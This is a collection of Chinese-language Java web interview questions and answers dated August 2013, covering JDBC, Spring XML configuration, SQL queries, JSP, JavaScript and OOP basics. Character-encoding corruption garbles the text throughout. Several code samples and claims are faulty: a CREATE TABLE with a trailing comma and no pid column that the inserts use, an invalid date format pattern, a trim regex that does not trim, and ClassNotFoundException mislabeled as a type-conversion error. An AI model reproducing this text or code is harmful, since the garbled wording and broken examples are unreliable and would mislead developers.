問題5、Statement、Preparedstatement、Callablestatement的區(qū)別? ?
??
Statement ?
? ? ? | ?
PreparedStatement ?
? ? ? | ?
CallableStatement ?
??
? ? Statement用于執(zhí)行一條普通的動態(tài)SQL語句,PreparedStatement用于執(zhí)行預(yù)編譯好的SQL語句,CallableStatement用于調(diào)用數(shù)據(jù)庫的存儲過程。他們的繼承關(guān)系如上。 ?
??
Statement 每次執(zhí)行sql語句,數(shù)據(jù)庫都要執(zhí)行sql語句的編譯 ,最好用于僅執(zhí)行一次查詢并返回結(jié)果的情形,效率高于PreparedStatement. ?
? ?
PreparedStatement是預(yù)編譯的,使用PreparedStatement有幾個(gè)好處 ?
在執(zhí)行可變參數(shù)的一條SQL時(shí),PreparedStatement比Statement的效率高,因?yàn)镈BMS預(yù)編譯一條SQL當(dāng)然會比多次編譯一條SQL的效率要高。 ?
安全性好,有效防止Sql注入等問題。 ?
對于多次重復(fù)執(zhí)行的語句,使用PreparedStament效率會更高一點(diǎn),并且在這種情況下也比較適合使用batch; ?
代碼的可讀性和可維護(hù)性。 ?
? ?
CallableStatement接口擴(kuò)展 PreparedStatement,用來調(diào)用存儲過程,它提供了對輸出和輸入/輸出參數(shù)的支持。CallableStatement 接口還具有對 PreparedStatement 接口提供的輸入?yún)?shù)的支持。 ?
??
問題6、把一個(gè)字符串類型的日期 轉(zhuǎn)換成Date類型? ?
??
字符串轉(zhuǎn)換為日期: ?
String brithday = new String("1991-02-02"); ?
? ? ? ? SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM-dd"); ?
? ? ? ? Date date = sdf1.parse(brithday); ?
? ? ? ? System.out.println("將字符串轉(zhuǎn)化為時(shí)間是" + date); ?
日期轉(zhuǎn)換為字符串: ?
? ? ? ? SimpleDateFormat sdf2 = new SimpleDateFormat("yyyyMMDDHHMMSSmmm "); ?
? ? ? ? System.out.println(sdf2.format(new Date())); ?
??
將輸入的字符串轉(zhuǎn)換為需要的日期格式: ?
? ? ? ? String myBirthday = new String("19881113"); ?
? ? ? ? SimpleDateFormat sdf3 = new SimpleDateFormat("yyyyMMdd"); ?
? ? ? ? Date date = sdf3.parse(myBirthday); ?
? ? ? ? String newBirthday = sdf2.format(date); ?
? ? ? ? System.out.println("將輸入的字符串轉(zhuǎn)換為需要的日期格式" + newBirthday); ?
??
問題7、Spring中加載XML配置文件的方法? ?
??
Spring中的幾種容器都支持使用xml裝配bean,包括: ?
XmlBeanFactory引用資源、ClassPathXmlApplicationContext編譯路徑 ?
FileSystemXmlApplicationContext用文件系統(tǒng)的路徑、XmlWebApplicationContext專為Web工程定制 ?
??
加載這些容器的配置文件的XML有以下幾種常見的方法: ?
1、引用資源用XmlBeanFactory(不能實(shí)現(xiàn)多個(gè)文件相互引用) ?
? ? ?Resource resource = new ClassPathResource("appcontext.xml"); ?
? ? ?BeanFactory factory = new XmlBeanFactory(resource); ?
? ? ?從factory中獲取相應(yīng)資源文件中的bean,但是這種bean讀不到引用了其他文件中的bean! ?
2、引用應(yīng)用上下文用ClassPathXmlApplicationContext ?
? ? ApplicationContext factory = new ClassPathXmlApplicationContext( ?
? ? ? ? ? ? ? ? "classpath:applicationContext.xml"); ?
? ? ApplicationContext factory = new ClassPathXmlApplicationContext( ?
? ? ? ? ? ? ? ? "conf/userConfig.xml"); // src/conf 目錄下的 ?
? ? ApplicationContext factory = new ClassPathXmlApplicationContext( ?
? ? ? ? ? ? ? ? "file:G:/Test/src/appcontext.xml"); ?
3、用文件系統(tǒng)的路徑引用應(yīng)用上下文用FileSystemXmlApplicationContext ??
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "src/applicationContext.xml"); ?
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "classpath:appcontext.xml"); ?
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "file:G:/Test/src/appcontext.xml"); ?
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "G:/Test/src/appcontext.xml"); ?
注意:在2、3的加載方式中可以加載多個(gè)配置文件,獲取到ApplicationContext 對象中 ?
? ? String[] configs = { "applicationContext.xml", "user_spring.xml" }; ?
? ? ApplicationContext ctx = new ClassPathXmlApplicationContext(configs); ?
? ? // ApplicationContext ctx=new FileSystemXmlApplicationContext(configs); ?
? ? AbstractDao myUserDAO = (AbstractDao) ctx.getBean("userDao"); ?
4、Web工程定制的加載方法 XmlWebApplicationContext ? ?
?ServletContext servletContext = request.getSession() ?
? ? ? ? ? ? ? ? .getServletContext(); ?
ApplicationContext ctx = WebApplicationContextUtils ?
? ? ? ? ? ? ? ? .getWebApplicationContext(servletContext); ?
注:web.xml里面可以定義兩種參數(shù): ?
application范圍內(nèi)的參數(shù),存放在servletcontext中。<context-param>中的參數(shù)(可以指定多個(gè)文件) ?
servlet范圍內(nèi)的參數(shù),只能在servlet的init()方法中取得, <init-param>中的參數(shù),在init方法中用this.getInitParameter("param1")獲取 ?
??
要在spring配置多個(gè)xml,并且這些文件相互應(yīng)用的加載方式: ?
1、在web.xml配置,應(yīng)用服務(wù)去加載 ?
? ?<servlet> ?
? ? ?<servlet-name>app</servlet-name> ?
? ? ?<servlet-class> ?
? ? ? ? ? ? ? ?org.springframework.web.servlet.DispatcherServlet ?
? ? ?</servlet-class> ?
? ? ?<context-param> ?
? ? ? ? ? ?<param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/applicationContext*.xml,/WEB-INF/user_spring*.xml</param-value> ?
? ? ?</context-param> ?
? ? ?<load-on-startup>1</load-on-startup> ? ?
? </servlet> ?
2、在/WEB-INF/applicationContext.xml配置應(yīng)用服務(wù)去加載 ?
? 可以在applicationContext.xml中用import引入其他的配置文件 ?
? ?<import resource="user_spring.xml" /> ?
??
問題8、查詢分組后,每個(gè)分組前幾條記錄? ?
??
建表語句: ?
/* ?創(chuàng)建表并初始化數(shù)據(jù) ? */ ?
drop table if exists Orders; ?
create table Orders( ?
? ? id int primary key auto_increment, ?
? ? Company varchar(255), ?
? ? OrderNumber varchar(255), ?
); ?
插入數(shù)據(jù): ?
insert into Orders(Company,OrderNumber, pid) values('IBM','3532',1); ?
insert into Orders(Company,OrderNumber, pid) values('IBM','4211',1); ?
insert into Orders(Company,OrderNumber, pid) values('IBM','2342',2); ?
insert into Orders(Company,OrderNumber, pid) values('IBM','12345',3); ?
insert into Orders(Company,OrderNumber, pid) values('W3School','45323',1); ?
insert into Orders(Company,OrderNumber, pid) values('W3School','2356',2); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','4538',1); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','4698',2); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','3234',2); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','3232',3); ?
insert into Orders(Company,OrderNumber, pid) values('W3School','6953',3); ?
insert into Orders(Company,OrderNumber) values('W3School','6953'); ?
??
查詢語句:/* 查詢Orders表,以Company分組,查出每組中的前兩個(gè)記錄 ? ?*/ ?
SELECT * FROM Orders o WHERE 2 >(SELECT count(*) FROM Orders WHERE Company = o.Company and OrderNumber > o.OrderNumber); ?
??
問題9、外部js中如何使用EL表達(dá)式? ?
??
外部js中的el表達(dá)式默認(rèn)無效,有以下解決方案: ?
1、把數(shù)據(jù)保存在隱藏域中,然后由js去調(diào) ?
例如jsp中<input type="hidden" id="data" name="data" value="${xxx.data}"> ?
js中,用getElementById方法 ?
2、如果js非要放入單獨(dú)文件中,可以把js文件命名為.jsp文件就可以了,這樣里面el就能運(yùn)行,也就是服務(wù)器可以執(zhí)行這個(gè)文件了。無非頁面引用的時(shí)候引用jsp就可以了。 ?
< script src="myjs.jsp" type="text/javascript></script> ?
??
EL表達(dá)式是在服務(wù)端執(zhí)行的,服務(wù)端執(zhí)行完成后再傳給客戶端的,js是在客戶端執(zhí)行的,el在js前就被執(zhí)行了。 ?
??
把引入的外部js改為jsp文件,然后在jsp頁面中引入<script src="myjs.jsp"></script> ?
??
在完全是js的jsp文件中,在執(zhí)行的時(shí)候會出現(xiàn)亂碼 ?
在頂部加入 ?
< %@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>可解決亂碼 ?
??
然后在jsp頁面中引入myjs.jsp, ?
< script src="myjs.jsp" type="text/javascript"></script> ?
??
但是如果js文件有創(chuàng)建html,就會出現(xiàn)錯誤,比如document.createElement('<option>' );即使轉(zhuǎn)義后 ?
document.createElement('<option>' ); 也沒有效果 ,在解析的時(shí)候,會創(chuàng)建 ?
document.createElement('<html><option>' );使用時(shí)候不識別的標(biāo)識符 ?
可以直接使用document.createElement('option') ?
??
火狐不支持select.options.appendChild(option),IE支持 ?
select.appendChild(option) IE和Firefox都支持 ?
??
火狐不支持option.innerText="test", ?
為兼容 改寫為option.innerHTML="test" ?
??
問題10、給你一張表查詢同一IP的登錄次數(shù),以及登錄次數(shù)大于10次的IP? ?
給的參數(shù)是 id datetime url ?session_id ip ?
??
select 記錄, count(記錄) ?from 表 where 記錄=表.記錄 group by 記錄 having count(記錄)>10 ?
??
select count(ip),ip from table group by ip having count(ip)>10; ?
??
問題11、<jsp:include>和<%@include file=""%>有什么區(qū)別? ?
??
動態(tài):<jsp:include page="">--動作,運(yùn)行時(shí)包含,先處理后包含 ?
父頁面和包含進(jìn)來的頁面單獨(dú)編譯,單獨(dú)翻譯成servlet后,在前臺拼成一個(gè)HTML頁面。 ?
a.能自動區(qū)分被包含文件是靜態(tài)還是動態(tài); ?
b.如果被包含文件是靜態(tài)文件,處理方式跟第1種方式一樣, ?
? 如果是動態(tài)文件,則各自處理完之后把結(jié)果包含進(jìn)來發(fā)給客戶端。 ?
??
靜態(tài):<%@include file=""%>--指令,編譯時(shí)包含,先包含后處理 ?
父頁面和包含進(jìn)來的頁面,代碼合并后,才一起翻譯成servlet,反饋到前臺,形成一個(gè)HTML頁面。 ?
a.不管被包含文件是靜態(tài)還是動態(tài),直接將頁面中的全部內(nèi)容包含進(jìn)來; ?
b.執(zhí)行時(shí)先將包含進(jìn)來的內(nèi)容一起處理完之后再將所有的內(nèi)容發(fā)給客戶端。 ?
??
2013年8月22日:嘉瑤軟件 ?
??
問題1、使用JavaScript動態(tài)添加刪除表格行? ?
??
< script type="text/javascript"> ?
? ? //動態(tài)增加和刪除表格行的內(nèi)容 ?
? ? document.getElementById("addID").onclick = function(){ ?
? ? ? ? ? ? var tbodyElement = document.getElementById("tbodyID"); ?
? ? ? ? ? ? //創(chuàng)建tr元素 ?
? ? ? ? ? ? var trElement = document.createElement("tr"); ?
? ? ? ? ? ? //創(chuàng)建td元素 ?
? ? ? ? ? ? var td1Element = document.createElement("td"); ?
? ? ? ? ? ? var td2Element = document.createElement("td"); ?
? ? ? ? ? ? var td3Element = document.createElement("td"); ?
//創(chuàng)建刪除按鈕 ?
? ? ? ? ? ? var delInputElement = document.createElement("input"); ?
? ? ? ? ? ? delInputElement.type = "button"; ?
? ? ? ? ? ? delInputElement.value = "刪除"; ?
??
? ? ? ? ? ? td3Element.appendChild(delInputElement); ?
? ? ? ? ? ? //為刪除按鈕添加單擊事件 ?
? ? ? ? ? ? delInputElement.onclick = function(){ ?
? ? ? ? ? ? ? ? //this表示刪除按鈕 ?
? ? ? ? ? ? ? ? //父.removeChild(子); ? ? ??
? ? //this.parentNode.parentNode.parentNode.removeChild(this.parentNode.parentNode); ?
? ? ? ? ? ? ? ? tbodyElement.removeChild(trElement); ?
? ? ? ? ? ? } ?
? ? ? ? ? ? //將td元素添加到tr元素中 ?
? ? ? ? ? ? trElement.appendChild(td1Element); ?
? ? ? ? ? ? trElement.appendChild(td2Element); ?
? ? ? ? ? ? trElement.appendChild(td3Element); ?
? ? ? ? ? ? //將tr元素添加到tbody元素中 ?
? ? ? ? ? ? tbodyElement.appendChild(trElement); ?
? ? ? ? } ?
? ? function trim(message){ //去空格,正則表達(dá)式 ?
? ? ? ? return message.replace(/^\s*$/,""); ?
? ? } ?
?</script> ?
??
問題2、什么叫面向接口編程?有什么好處? ?
??
在系統(tǒng)分析和架構(gòu)中,分清層次和依賴關(guān)系,每個(gè)層次不是直接向其上層提供服務(wù)(即不是直接實(shí)例化在上層中),而是通過定義一組接口,僅向上層暴露其接口功能,上層對于下層僅僅是接口依賴,而不依賴具體類。 ?
??
這樣做的好處是顯而易見的,首先對系統(tǒng)靈活性大有好處。當(dāng)下層需要改變時(shí),只要接口及接口功能不變,則上層不用做任何修改。甚至可以在不改動上層代碼時(shí)將下層整個(gè)替換掉,就像我們將一個(gè)WD的60G硬盤換成一個(gè)希捷的160G的硬盤,計(jì)算機(jī)其他地方不用做任何改動,而是把原硬盤拔下來、新硬盤插上就行了,因?yàn)橛?jì)算機(jī)其他部分不依賴具體硬盤,而只依賴一個(gè)IDE接口,只要硬盤實(shí)現(xiàn)了這個(gè)接口,就可以替換上去。從這里看,程序中的接口和現(xiàn)實(shí)中的接口極為相似,所以我一直認(rèn)為,接口(interface)這個(gè)詞用的真是神似! ?
?
? ? 使用接口的另一個(gè)好處就是不同部件或?qū)哟蔚拈_發(fā)人員可以并行開工,就像造硬盤的不用等造CPU的,也不用等造顯示器的,只要接口一致,設(shè)計(jì)合理,完全可以并行進(jìn)行開發(fā),從而提高效率。 ?
??
問題3、事務(wù)的概念?開發(fā)中如何使用事務(wù)? ?
??
事務(wù)指邏輯上的一組操作,組成這組操作的各個(gè)單元,要么全部成功,要么全部失敗。 ?
??
MySQL數(shù)據(jù)庫開啟事務(wù)命令: ?
start transaction ?開啟事務(wù) ?
rollback ?回滾事務(wù) ?
commit ? 提交事務(wù) ?
savepoint 設(shè)置回滾點(diǎn) ?
rollback to savepoint 回滾到指定的回滾點(diǎn) ?
??
問題4、遞歸算法題:一個(gè)整數(shù),大于0,不用循環(huán)和本地變量,按照n,2n,4n,8n的順序遞增,當(dāng)值大于10000時(shí),把值按照指定順序輸出來。先順序后逆序 ?
??
public static void main(String[] args) throws Exception { ?
? ? ? ? doubleNum(512); ?
? ? } ?
??
public static void doubleNum(int n) { ?
? ? ? ? System.out.println(n); ?
? ? ? ? if (n <= 10000) ?
? ? ? ? ? ? doubleNum(n * 2); ?
? ? ? ? System.out.println(n); ?
} ?
??
問題5、兩個(gè)div 并排放到同一個(gè)div上面? ?
??
第一步: ?
中間兩個(gè)div 設(shè)置的寬度 加起來等于1000px, ?
第二步: ?
中間兩個(gè)div ?分別加樣式 ? style="float:left;" ?
??
例如: ?
< div style="width:1000px;height:500px;background: black;"> ?
< div style="background: blue;width: 500px;height:500px;float:left;"></div> ?
< div style="background: blue;width: 500px;height:500px;float:left;"></div> ?
??
問題6、一個(gè)表有birthday字段類型為date,讓你查出年齡? ?
??
SELECT name,(year(now())-year(birthday)) AS age FROM Student; ?
??
問題7、智力題:一個(gè)房間有三個(gè)燈泡,開關(guān)在房間外面,你只能進(jìn)房間一次,找出燈泡和開關(guān)的對應(yīng)關(guān)系 ?
??
先開第1個(gè)開關(guān),開較長時(shí)間再關(guān)掉,然后開第2個(gè)開關(guān),馬上進(jìn)有燈泡的房間。 ?
如果是亮的,是第2個(gè)開關(guān)。 ?
如果是暗的,就摸一摸,熱的就是第1個(gè)開關(guān),冷的就是第3個(gè)開關(guān)。 ?
??
2013年8月23日: ?
??
問題1、操作表格的奇數(shù)行、偶數(shù)行變色的函數(shù)? ?
??
? ? <script type="text/javascript" src="WEB-INF/jquery-1.7.min.js"> ?
? ? </script> ?
? ? ??
? ? <script type="text/javascript" language="javascript"> ? ?
? ? ? ? $(document).ready(function(){ ? ?
? ? ? ? ? ? $("table tr:eq(0)").attr("style","background: #C00;"); ?//首行 ?
? ? ? ? ? ? $("table tr:odd").attr("style","background:#09F;"); ? ? //奇數(shù)行 ??
? ? ? ? ? ? $("table tr:even").attr("style","background: #C00;"); ? //偶數(shù)行 ? ?
? ? ? ? ? ? //或者通過添加css,如下 ?
? ? ? ? ? ? $("table tr:eq(0)").css("background-color","pink"); ? ? //首行 ?
? ? ? ? ? ? $("table tr:odd").css("background-color","blue"); ? ? ? //索引號為奇數(shù)的 ?
? ? ? ? ? ? $("table tr:even").css("background-color","yellow"); ? ? ? ?//索引號為偶數(shù)的 ?
? ? ? ? ? ? }); ? ?
</script> ? ?
??
問題2、JSON與XML的區(qū)別? ?
??
相同之處兩個(gè)都是存放數(shù)據(jù)的。要說不同,那就是存數(shù)據(jù)的方式不一樣,xml數(shù)據(jù)寫在xml文件中,而json需要程序添加數(shù)據(jù),xml是一個(gè)特殊的數(shù)據(jù)文件必須符合一定的規(guī)則 ?
??
格式不同,XML是標(biāo)簽式的:aaa bbb,JSON是鍵值對形式的:book:{ name:aaa, writter:bbb },JSON更加輕量級,XML開始使用比較早,而且很嚴(yán)謹(jǐn),兩者都有廣泛應(yīng)用,不過現(xiàn)在比較推薦JSON。 ?
??
問題3、JDBC的使用過程? ?
??
簡易流程: ?
1、加載驅(qū)動 ?2、獲取連接 ?3、SQL語句 ?4、執(zhí)行SQL ?5、釋放資源 ?
??
創(chuàng)建一個(gè)以JDBC連接數(shù)據(jù)庫的程序,包含7個(gè)步驟: ??
1、加載JDBC驅(qū)動程序: ??
在連接數(shù)據(jù)庫之前,首先要加載想要連接的數(shù)據(jù)庫的驅(qū)動到JVM(Java虛擬機(jī)),這通過java.lang.Class類的靜態(tài)方法forName(String ?className)實(shí)現(xiàn)。 ?
//加載MySql的驅(qū)動類 ? ? ?
Class.forName("com.mysql.jdbc.Driver"); ?
成功加載后,會將Driver類的實(shí)例注冊到DriverManager類中。 ? ?
2、提供JDBC連接的URL ??
例如:(MySql的連接URL) ? ? ?
jdbc:mysql://localhost:3306/test ?
3、創(chuàng)建數(shù)據(jù)庫的連接 ?
要連接數(shù)據(jù)庫,需要向java.sql.DriverManager請求并獲得Connection對象,該對象就代表一個(gè)數(shù)據(jù)庫的連接。 ?
使用DriverManager的getConnectin(String url, String username,String password )方法傳入指定的欲連接的數(shù)據(jù)庫的路徑、數(shù)據(jù)庫的用戶名和密碼來獲得。 ? ??
例如:// 連接MySql數(shù)據(jù)庫,用戶名和密碼都是root ?
? ? ? ? String url = "jdbc:mysql://localhost:3306/test"; ?
? ? ? ? String username = "root"; ?
? ? ? ? String password = "root"; ?
? ? ? ? Connection con = DriverManager.getConnection(url, username, password); ?
4、創(chuàng)建一個(gè)Statement ?
要執(zhí)行SQL語句,必須獲得java.sql.Statement實(shí)例,Statement實(shí)例分為以下3種類型: ??
1、執(zhí)行靜態(tài)SQL語句。通常通過Statement實(shí)例實(shí)現(xiàn)。 ??
2、執(zhí)行動態(tài)SQL語句。通常通過PreparedStatement實(shí)例實(shí)現(xiàn)。 ??
3、執(zhí)行數(shù)據(jù)庫存儲過程。通常通過CallableStatement實(shí)例實(shí)現(xiàn)。 ??
具體的實(shí)現(xiàn)方式: ??
Statement stmt = con.createStatement(); ?
? ? ? ? PreparedStatement pstmt = con.prepareStatement(sql); ?
? ? ? ? CallableStatement cstmt = con.prepareCall("{CALL demoSp(? , ?)}"); ?
5、執(zhí)行SQL語句 ?
Statement接口提供了三種執(zhí)行SQL語句的方法:executeQuery 、executeUpdate和execute ?
1、executeQuery(String sqlString):執(zhí)行查詢數(shù)據(jù)庫的SQL語句,返回一個(gè)結(jié)果集(ResultSet)對象。 ? ??
2、executeUpdate(String sqlString):用于執(zhí)行INSERT、UPDATE或DELETE語句以及SQL DDL語句,如:CREATE TABLE和DROP TABLE等,返回影響行數(shù)int。 ?
3、execute(sqlString):用于執(zhí)行返回多個(gè)結(jié)果集、多個(gè)更新計(jì)數(shù)或二者組合的語句。 ?
具體實(shí)現(xiàn)的代碼: ?
? ? ? ? ?ResultSet rs = stmt.executeQuery("SELECT * FROM ...") ; ? ? ? ??
? ? ? ? ?int rows = stmt.executeUpdate("INSERT INTO ...") ; ? ? ? ??
? ? ? ? ?boolean flag = stmt.execute(String sql) ; ? ??
6、處理結(jié)果,兩種情況: ?
? ? 1、執(zhí)行更新返回的是本次操作影響到的記錄數(shù)。 ?
? ? 2、執(zhí)行查詢返回的結(jié)果是一個(gè)ResultSet對象。 ?
ResultSet包含符合SQL語句中條件的所有行,并且它通過一套get方法提供了對這些行中數(shù)據(jù)的訪問。 ? ?
使用結(jié)果集(ResultSet)對象的訪問方法獲取數(shù)據(jù): ? ??
? ? while (rs.next()) { ?
? ? ? ? ? ? String name = rs.getString("name"); ?
? ? ? ? ? ? String pass = rs.getString(1); // 此方法比較高效 ?
? ? } ?
(列是從左到右編號的,并且從列1開始) ? ?
7、關(guān)閉JDBC對象 ?
操作完成以后要把所有使用的JDBC對象全都關(guān)閉,以釋放JDBC資源,關(guān)閉順序和聲明順序相反: ?
1、關(guān)閉記錄集 ? ? ?
2、關(guān)閉聲明 ? ? ?
3、關(guān)閉連接對象 ?
rs.close(); ?
? ? stmt.close(); ?
? ? conn.close(); ?
??
問題4、Tomcat的默認(rèn)端口號是多少,如何更改端口號? ?
??
8080是Tomcat服務(wù)器的默認(rèn)的端口號。 ?
我們可以通過修改Tomcat服務(wù)器的conf目錄下的主配置文件server.xml來更改。 ?
用記事本打開server.xml文件,找到如下部分:修改port的值即可 ?
< Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" /> ?
??
問題5、List與Set有什么區(qū)別? ?
??
Set List都繼承 Colltction。 ?
??
List接口與其實(shí)現(xiàn)類是容量可變的列表,可按索引訪問集合中的元素,是有序的集合。 ?
Set是一種不包含重復(fù)元素的Collection,也就是說 Set中只能有一個(gè)null元素。 ?
??
List和Set是兩個(gè)接口,其定義的數(shù)據(jù)類型都有自己的特點(diǎn) ?
List是順序結(jié)構(gòu),可以是數(shù)組也可以是鏈表,Set就是集合,跟數(shù)學(xué)里的集合定義樣,無重復(fù)(沒有任何兩個(gè)對象的equals方法是true)。 ?
??
問題6、說出JAVA中一些常用的類,包,接口,請各舉5個(gè)? ?
??
類:Object、String、Integer、System、file、FileInputStream、FileOutputStream ?
包:lang包、io包、util包、sql包、date包、swt包 ?
接口: List、Map、Iterator、Connection、Writer、Reader、InputStream、OutPutStream ?
v ?
問題7、常見的異常有哪些,舉幾個(gè),并說出它們是如何出現(xiàn)的呢? ?
??
NullPointException空指針異常 ?
IOException輸入輸出流異常 ?
ClassNotFoundException類型轉(zhuǎn)換異常 ?
ArrayIndexOutOfBoundsException下標(biāo)越界異常 ?
NumberFormatException數(shù)字格式化異常 ?
FileNotFoundException文件未找到異常 ?
SQLException操作數(shù)據(jù)庫異常 ?
NoSuchMethodException方法未找到異常 ?
??
問題9、int和Integer有什么區(qū)別,Integer下有哪些常用方法? ?
??
int是Java提供的8種基礎(chǔ)數(shù)據(jù)類型之一。Java為每個(gè)原始類型提供了包裝類,Integer是java為int提供的包裝類。 ?
int的默認(rèn)值為0,而Integer的默認(rèn)值為null,即Integer可以區(qū)分出未賦值和值為0的區(qū)別,int則無法表達(dá)出未賦值的情況。 ?
例如,要想表達(dá)出沒有參加考試和考試成績?yōu)?的區(qū)別,則只能使用Integer。 ?
在JSP開發(fā)中,Integer的默認(rèn)為null,所以用EL表達(dá)式在文本框中顯示時(shí),值為空白字符串,而int默認(rèn)的默認(rèn)值為0,所以用EL表達(dá)式在文本框中顯示時(shí),結(jié)果為0,所以,int不適合作為web層的表單數(shù)據(jù)的類型。 ?
在Hibernate中,如果將OID定義為Integer類型,那么Hibernate就可以根據(jù)其值是否為null而判斷一個(gè)對象是否是臨時(shí)的,如果將OID定義為了int類型,還需要在hbm映射文件中設(shè)置其unsaved-value屬性為0。 ?
另外,Integer提供了多個(gè)與整數(shù)相關(guān)的操作方法,例如,將一個(gè)字符串轉(zhuǎn)換成整數(shù),Integer中還定義了表示整數(shù)的最大值和最小值的常量。 ?
??
問題10、Nutch與Lucene區(qū)別? ?
??
Nutch 是基于 Lucene的。Lucene為 Nutch 提供了文本索引和搜索的API。 ?
??
一個(gè)常見的問題是;我應(yīng)該使用Lucene還是Nutch? ?
??
最簡單的回答是:如果你不需要抓取數(shù)據(jù)的話,應(yīng)該使用Lucene。如果你有數(shù)據(jù)源,需要為這些數(shù)據(jù)提供一個(gè)搜索頁面。在這種情況下,最好的方式是直接從數(shù)據(jù)庫中取出數(shù)據(jù)并用Lucene API建立索引。 ?
Nutch 適用于你無法直接獲取數(shù)據(jù)庫中的網(wǎng)站,或者比較分散的數(shù)據(jù)源的情況下使用。 ?
??
Lucene其實(shí)是一個(gè)提供全文文本搜索的函數(shù)庫,它不是一個(gè)應(yīng)用軟件。它提供很多API函數(shù)讓你可以運(yùn)用到各種實(shí)際應(yīng)用程序中。現(xiàn)在,它已經(jīng)成為Apache的一個(gè)項(xiàng)目并被廣泛應(yīng)用。 ?
??
Nutch是一個(gè)建立在Lucene核心之上的Web搜索的實(shí)現(xiàn),它是一個(gè)真正的應(yīng)用程序。也就是說,你可以直接下載下來拿過來用。它在Lucene的基礎(chǔ)上加了網(wǎng)絡(luò)爬蟲和一些和Web相關(guān)的東東。其目的就是想從一個(gè)簡單的站內(nèi)索引和搜索推廣到全球網(wǎng)絡(luò)的搜索上。 ?
??
總的來說,我認(rèn)為Lucene會應(yīng)用在本地服務(wù)器的網(wǎng)站內(nèi)部搜索,而Nutch則擴(kuò)展到整個(gè)網(wǎng)絡(luò)、Internet的檢索。當(dāng)然Lucene加上爬蟲程序等就會成為Nutch。 ?
??
問題11、面向?qū)ο蟮奶卣饔心男?#xff1f;解釋一下每一個(gè)? ?
??
封裝指的是將對象的狀態(tài)信息隱藏在對象內(nèi)部,不允許外部程序直接訪問對象內(nèi)部信息,而是通過該類所提供的方法來實(shí)現(xiàn)對內(nèi)部信息的操作和訪問。 ?
封裝實(shí)際上有兩個(gè)方面的含義:把該隱藏的(對象的屬性和實(shí)現(xiàn)細(xì)節(jié))隱藏起來,把該暴露的(方法)暴露出來。這兩個(gè)方面都需要通過使用Java提供的訪問控制符來實(shí)現(xiàn)。 ?
?
繼承是面向?qū)ο髮?shí)現(xiàn)軟件復(fù)用的重要手段,當(dāng)子類繼承父類后,子類作為一種特殊的父類,將直接獲得父類的屬性和方法。Java的繼承具有單繼承的特點(diǎn),每個(gè)子類只有一個(gè)直接父類。 ?
?
多態(tài)指的是子類對象可以直接賦給父類變量,但運(yùn)行時(shí)依然表現(xiàn)子類的行為特征,這意味著同一個(gè)類別的對象在運(yùn)行時(shí)可能表現(xiàn)出不同的行為特征。 ?
只有子類重寫了父類的方法。使用父類類型創(chuàng)建的引用變量,所賦的值為子類類型創(chuàng)建的實(shí)例(對象)時(shí),用這個(gè)新建的對象調(diào)用子類重寫父類的方法才會出現(xiàn)多態(tài)。 ?
也就是說多態(tài)有3個(gè)條件:1、繼承 2、重寫(子類重寫父類繼承的方法) 3、父類引用指向子類對象 ?
??
好處: ?
封裝:安全 ?
繼承:重用 ?
多態(tài):靈活 ?
??
問題12、方法的重寫和重載? ?
??
重寫父類的方法 ?
方法的重寫要遵循“兩同兩小一大”規(guī)則: ?
??
“兩同”即方法名相同、形參列表相同,“兩小”指子類方法返回值類型應(yīng)比父類方法返回值類型更小或相等,子類方法聲明拋出的異常應(yīng)比父類方法聲明拋出的異常類更小或相等。 ?
“一大”指的是子類方法的訪問權(quán)限應(yīng)比父類方法更大或相等,尤其需要指出的是,覆蓋方法和被覆蓋方法要么都是類方法,要么都是實(shí)例方法,不能一個(gè)是類方法,一個(gè)是實(shí)例方法。 ?
??
當(dāng)子類覆蓋了父類的方法后,子類的對象將無法訪問父類中被覆蓋的方法,但可以在子類方法中調(diào)用父類中被覆蓋的方法。 ?
如果要在子類中調(diào)用父類中被覆蓋的實(shí)例方法,可以使用super。 ?
如果要在子類中調(diào)用父類中被覆蓋的類方法,使用父類類名來調(diào)用。 ?
如果父類方法具有private訪問權(quán)限,則該方法對其子類是隱藏的,因此其子類無法訪問該方法,也就無法重寫該方法。 ?
??
2、方法的重寫與方法的重載不同,方法的重載要遵循“兩同,一個(gè)不同”規(guī)則: ?
??
“兩同”即同一個(gè)類中、方法名相同,“一個(gè)不同”即形參列表不同。 ?
??
? ? ? ? Java允許同一個(gè)類里定義多個(gè)同名的方法,只要形參列表不同即可。 如果同一個(gè)類中包含了兩個(gè)或兩個(gè)以上的方法名相同,但參數(shù)列表不同,則被稱為方法重載。至于方法的其他部分,如方法返回值類型、修飾符等,與方法重載沒有任何關(guān)系。 ?
??
注意: ?
參數(shù)列表順序不同:(String x,int y)和(int x,String y)不會報(bào)錯 ?
參數(shù)列表類型相同變量名不同:(int x,int y)和(int y,int x)編譯器會報(bào)錯 ?
無法通過返回值類型不同來進(jìn)行重載 ?
??
問題13、第1個(gè)人10,第2個(gè)比第1個(gè)人大2歲,依次遞推,請用遞歸方式計(jì)算出第8個(gè)人多大? ?
??
public static int calAge(int n) { ?
? ? ? ? if (1 == n) ?
? ? ? ? ? ? return 10; ?
? ? ? ? return calAge(n - 1) + 2; ?
? ? } ?
??
? ? public static void main(String[] args) { ?
? ? ? ? System.out.println("第八個(gè)屌絲的年齡是:" + calAge(8)); ?
? ? } ?
n=3的話, ?
第一次:3-1 ? ? ?10+2+2 ?
第二次:3-2 ? ? ?10+2 ?
第三次:返回10 ? 往上回去算 ?
??
??
問題14、一口井,深10米.一個(gè)蝸牛從井底往上爬. 白天爬3米,晚上掉2米.問幾天能爬出來? ?
??
第一天高度=3-2=1米 ?
第二天高度=1+3-2=2米 ?
第三天高度=2+3-2=3米 ?
第四天高度=3+3-2=4米 ?
第五天高度=4+3-2=5米 ?
以此類推... ?
第8天高度=7+3=10米,已經(jīng)爬出來了。 ?
所以:8天爬出來。注意:這里是一口氣爬出來,如果爬不出來的話需要再加1天 ?
??
2013年8月24日: ?
??
